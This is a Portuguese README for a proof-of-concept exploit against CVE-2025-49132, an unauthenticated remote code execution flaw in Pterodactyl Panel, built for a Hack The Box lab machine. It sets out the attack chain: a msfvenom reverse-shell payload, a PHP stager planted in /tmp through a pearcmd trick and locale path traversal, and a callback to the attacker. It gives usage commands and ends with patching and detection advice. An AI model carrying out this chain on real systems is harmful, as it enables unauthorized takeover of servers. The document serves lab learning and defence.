Apenas para testes autorizados e aprendizado defensivo.
Este repositório é destinado a ambientes de laboratório controlados (ex.: configurações CTF/HTB) onde você possui o alvo ou tem*permissão explícita por escrito para testá-lo.
Contexto
Este repositório contém uma prova de conceito educacional em Python (pterodactyl_rce.py) para uma vulnerabilidade real que afeta versões do Pterodactyl Panel anteriores à v1.11.11. Em configurações vulneráveis, um atacante não autenticado pode alcançar execução remota de código através do endpoint /locales/locale.json devido ao tratamento inadequado dos parâmetros locale e .
namespace
Esta variante do PoC tem como alvo ambientes onde o PHP-PEAR está instalado e foi construída/validada contra a máquina aposentada do Hack The Box Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. Também pode funcionar em outras configurações de laboratório onde as mesmas condições são atendidas.
Corrigido em: v1.11.11 (commit de correção 24c82b0…)
Ideia de alto nível (como o PoC funciona)
Em alto nível, o PoC encadeia estas etapas:
Gera um payload ELF reverso TCP para Linux x64 com msfvenom.
Serve esse ELF usando um servidor HTTP (uma requisição, depois sai).
Abusa do tratamento vulnerável de /locales/locale.json para escrever um "stager" PHP em /tmp (através de um truque de pearcmd config-create).
Aciona o stager através do endpoint de locales para que ele:
baixe o ELF para /tmp,
o torne executável,
o execute para conectar de volta ao seu listener.
O script usa um cliente HTTP bruto em vez de curl para a etapa de "upload" porque algumas ferramentas podem normalizar ou codificar caracteres de forma a quebrar a requisição criada.
Nota: Este README permanece intencionalmente em um nível defensivo/educacional. Use o código apenas em ambientes que você tem permissão para testar.
Requisitos (local)
Python 3.10+ (testado apenas com a biblioteca padrão)
msfvenom disponível em $PATH (Metasploit Framework)
nc (netcat) se quiser que o PoC inicie um auto-listener
Acesso de rede entre sua máquina de laboratório e sua instância do Pterodactyl no laboratório
Configuração
O script atualmente espera um hostname HTB do painel no código fonte:
root@kitploit:~
host = "panel.pterodactyl.htb"
Além disso, o caminho hardcoded para PHP-PEAR está definido como: ../../../../../usr/share/php/PEAR.
Se você estiver testando isso fora da caixa Pterodactyl, precisará ajustar este caminho de acordo com sua configuração local.
Uso (apenas laboratório controlado)
1) Execução básica (auto-listener habilitado)
root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: seu IP de callback acessível pelo servidor do laboratório
Gera um payload ELF (nome aleatório como shell_ab12cd34)
Inicia um servidor HTTP de uma requisição na porta :8080
Cria um stager PHP em /tmp/<random>.php
Aciona o stager
Remove o arquivo ELF local após o acionamento
Imprime uma dica para melhorar seu shell (PTY)
Captura de tela da exploração bem-sucedida:
Problemas Conhecidos / Notas de Laboratório
Instabilidade do laboratório: A máquina/serviço alvo pode estar instável (timeouts, 5xx intermitentes, execução atrasada). Se uma execução falhar, tente novamente após uma breve pausa.
Reutilização de payload antigo: O ambiente pode, às vezes, acionar um arquivo mais antigo enviado/staged. O script limpa apenas um arquivo local na máquina atacante
mas não toca no arquivo na pasta /tmp/ da máquina.
Soluções alternativas:
Execute novamente com um novo nome de payload aleatório (comportamento padrão neste script).
Altere a porta inicial do http.server de 8080 para outra porta.
Altere a porta do seu listener (ex.: 4444 → 5555) e gere o payload novamente.
Certifique-se de que seu servidor HTTP está servindo o arquivo atual (pare qualquer servidor/listener anterior).
Se tiver acesso, remova manualmente artefatos antigos /tmp/<nome>.php no alvo; caso contrário, aguarde um pouco e tente novamente.
Orientações defensivas (o que corrigir / como detectar)
Correção / Mitigação
Atualize para Pterodactyl Panel v1.11.11 ou posterior.
Não há solução alternativa dentro do aplicativo além de corrigir; você pode bloquear o endpoint /locales/locale.json no nível do servidor web, mas isso pode quebrar funcionalidades de localização.
Ideias de detecção
Procure por requisições suspeitas como:
Requisições para /locales/locale.json com valores incomuns de locale= com travessia de diretório
Valores estranhos de namespace= (nomes inesperados, strings longas, caracteres incomuns)
Criação repentina de arquivos inesperados em /tmp/ no host do painel
Correlacione logs web com:
novos processos gerados pelo usuário www / PHP-FPM
conexões de saída para destinos/portas não padrão
uso inesperado de curl/wget a partir do host do painel
Notas sobre uso responsável
Não escaneie ou teste instâncias públicas.
Se você é operador de uma instância vulnerável, trate isso como crítico e corrija imediatamente.
Relator / crédito da descoberta: O advisory do GitHub credita @azimoff337 por relatar GHSA-24wv-6c99-f843 / CVE-2025-49132.
GitHub Advisory Database / processo CVE: por rastrear e publicar os detalhes da vulnerabilidade.
Hack The Box (HTB): este PoC foi construído/validado em um ambiente de laboratório HTB controlado para aprendizado e pesquisa defensiva. Sem spoilers para conteúdo HTB ativo.